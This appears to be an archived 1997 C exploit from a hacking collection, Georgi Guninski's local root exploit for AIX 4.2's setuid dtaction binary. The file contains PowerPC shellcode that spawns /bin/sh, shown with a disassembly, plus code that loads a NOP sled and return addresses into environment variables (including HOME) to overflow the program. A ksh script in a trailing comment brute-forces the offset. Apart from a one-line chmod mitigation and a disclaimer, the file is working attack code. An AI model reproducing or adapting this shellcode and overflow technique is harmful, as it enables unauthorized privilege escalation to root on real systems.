home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / aixdtaction.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  5KB  |  188 lines

  1.  
  2. /* Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle
  3. properly the HOME environment variable and that spawns a root shell. A lot
  4. of other X programs have the same problem and /bin/X11/xlock is well known
  5. to be exploitable.
  6. Tested on AIX 4.2 box.
  7.  
  8. SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock
  9.  OR apply patches */
  10.  
  11. /*
  12.  AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski
  13.  
  14. ----------------------------------------
  15. DISCLAIMER
  16.  
  17.  This program is for educational purpose ONLY. Do not use it without
  18. permission.
  19.  The usual standard disclaimer applies, especially the fact that Georgi
  20. Guninski
  21.  is not liable for any damages caused by direct or  indirect use of
  22.  the information or functionality provided by this program.
  23.  Georgi Guninski, his employer or any Internet provider bears NO
  24. responsibility for content
  25.  or misuse of this program or any derivatives thereof.
  26.  By using this program you accept the fact that any damage (dataloss,
  27. system
  28.  crash, system compromise, etc.) caused by the use of this program is not
  29.  Georgi Guninski's responsibility.
  30.  
  31. In case you distribute this, please keep the disclaimer and my addresses.
  32. -----------------------------------------
  33. Use the IBM C compiler.
  34. Compile with: cc -g aixdtaction.c
  35. DISPLAY should be set.
  36. SOLUTION: #chmod -s /usr/dt/bin/dtaction                ; at least stops root shells
  37. -----------------
  38. Georgi Guninski
  39.  guninski@hotmail.com
  40.  http://www.geocities.com/ResearchTriangle/1711
  41.  
  42. Suggestions,comments and job offers are welcome!
  43. 10-JUNE-97
  44. */
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <string.h>
  48.  
  49.  
  50. char *prog="/usr/dt/bin/dtaction";
  51. char *prog2="dtaction";
  52. extern int execv();
  53.  
  54. char *createvar(char *name,char *value)
  55. {
  56. char *c;
  57. int l;
  58. l=strlen(name)+strlen(value)+4;
  59. if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  60. strcpy(c,name);
  61. strcat(c,"=");
  62. strcat(c,value);
  63. return c;
  64. }
  65.  
  66. /*The program*/
  67. main(int argc,char **argv,char **env)
  68. {
  69. /*The code*/
  70. unsigned int code[]={
  71. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  72. 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  73. 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  74. 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  75. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  76. 0x7c0903a6 , 0x4e800420, 0x0
  77. };
  78. /* disassembly
  79. 7c0802a6        mfspr   r0,LR
  80. 9421fbb0        stu     SP,-1104(SP) --get stack
  81. 90010458        st      r0,1112(SP)
  82. 3c60f019        cau     r3,r0,0xf019
  83. 60632c48        lis     r3,r3,11336
  84. 90610440        st      r3,1088(SP)
  85. 3c60d002        cau     r3,r0,0xd002
  86. 60634c0c        lis     r3,r3,19468
  87. 90610444        st      r3,1092(SP)
  88. 3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  89. 6063696e        lis     r3,r3,26990
  90. 90610438        st      r3,1080(SP)
  91. 3c602f73        cau     r3,r0,0x2f73
  92. 60636801        lis     r3,r3,26625
  93. 3863ffff        addi    r3,r3,-1
  94. 9061043c        st      r3,1084(SP) --terminate with 0
  95. 30610438        lis     r3,SP,1080
  96. 7c842278        xor     r4,r4,r4    --argv=NULL
  97. 80410440        lwz     RTOC,1088(SP)
  98. 80010444        lwz     r0,1092(SP) --jump
  99. 7c0903a6        mtspr   CTR,r0
  100. 4e800420        bctr              --jump
  101. */
  102.  
  103. #define MAXBUF 600
  104. unsigned int buf[MAXBUF];
  105. unsigned int frame[MAXBUF];
  106. unsigned int i,nop,mn=100;
  107. int max=280;
  108. unsigned int toc;
  109. unsigned int eco;
  110. unsigned int *pt;
  111. char *t;
  112. unsigned int reta; /* return address */
  113. int corr=3400;
  114. char *args[4];
  115. char *newenv[8];
  116.  
  117.  
  118. if (argc>1)
  119.         corr = atoi(argv[1]);
  120.  
  121. pt=(unsigned *) &execv;
  122. toc=*(pt+1);
  123. eco=*pt;
  124.  
  125. if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  126. {
  127.         perror("Bad parameters");
  128.         exit(1);
  129. }
  130.  
  131. #define OO 7
  132. *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  133. *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  134. *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  135. *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  136. 0x0000ffff);
  137.  
  138. reta=(unsigned) &buf[0]+corr;
  139.  
  140. for(nop=0;nop<mn;nop++)
  141.  buf[nop]=0x4ffffb82;
  142. strcpy((char*)&buf[nop],(char*)&code);
  143. i=nop+strlen( (char*) &code)/4-1;
  144.  
  145. if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  146.         || !(reta && 0xff000000))
  147. {
  148. perror("Return address has zero");exit(5);
  149. }
  150.  
  151. while(i++<max)
  152.  buf[i]=reta;
  153. buf[i]=0;
  154.  
  155. for(i=0;i<max-1;i++)
  156.  frame[i]=reta;
  157. frame[i]=0;
  158.  
  159. /* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
  160. newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  161. newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  162. newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  163. newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  164. newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  165. newenv[5]=createvar("HOME",(char*)&frame[0]);
  166. newenv[6]=NULL;
  167.  
  168. args[0]=prog2;
  169. puts("Start...");/*Here we go*/
  170. execve(prog,args,newenv);
  171. perror("Error executing execve \n");
  172. /*      Georgi Guninski guninski@hotmail.com
  173.         http://www.geocities.com/ResearchTriangle/1711*/
  174. }
  175.  
  176. /*
  177. -brute-script----------------------------------------------------------
  178. #!/bin/ksh
  179. L=200
  180. O=40
  181. while [ $L -lt 12000 ]
  182. do
  183. echo $L
  184. L=`expr $L + 96`
  185. ./a.out $L
  186. done
  187. */
  188.